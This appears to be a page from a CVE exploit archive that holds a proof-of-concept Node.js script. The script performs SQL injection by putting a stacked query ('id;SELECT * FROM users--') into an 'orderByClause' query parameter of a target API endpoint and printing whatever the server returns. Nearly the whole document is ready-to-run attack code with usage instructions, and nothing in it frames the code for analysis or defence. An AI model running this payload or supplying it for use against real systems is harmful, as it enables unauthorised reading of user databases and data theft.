4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / 20247456.js JS
const axios = require('axios');

const targetUrl = process.argv[2];
const payload = process.argv[3] || 'id;SELECT * FROM users--';

if (!targetUrl) {
    console.error('Usage: node exploit.js <target_url> [payload]');
    console.error('Example: node exploit.js http://<TARGET-HERE>/api/v1/external-users "id;SELECT * FROM users--"');
    process.exit(1);
}

(async () => {
    try {
        console.log(`\n[*] Attempting SQL Injection on ${targetUrl} with payload: "${payload}"`);

        // Send GET request with injected SQL payload as a query parameter
        const response = await axios.get(targetUrl, {
            params: { orderByClause: payload }
        });

        console.log('\n[+] Server Response:');
        console.log(response.data);

    } catch (error) {
        console.error('\n[-] Request Failed:');
        if (error.response) {
            console.error(`Status: ${error.response.status}`);
            console.error(error.response.data);
        } else {
            console.error(error.message);
        }
    }
})();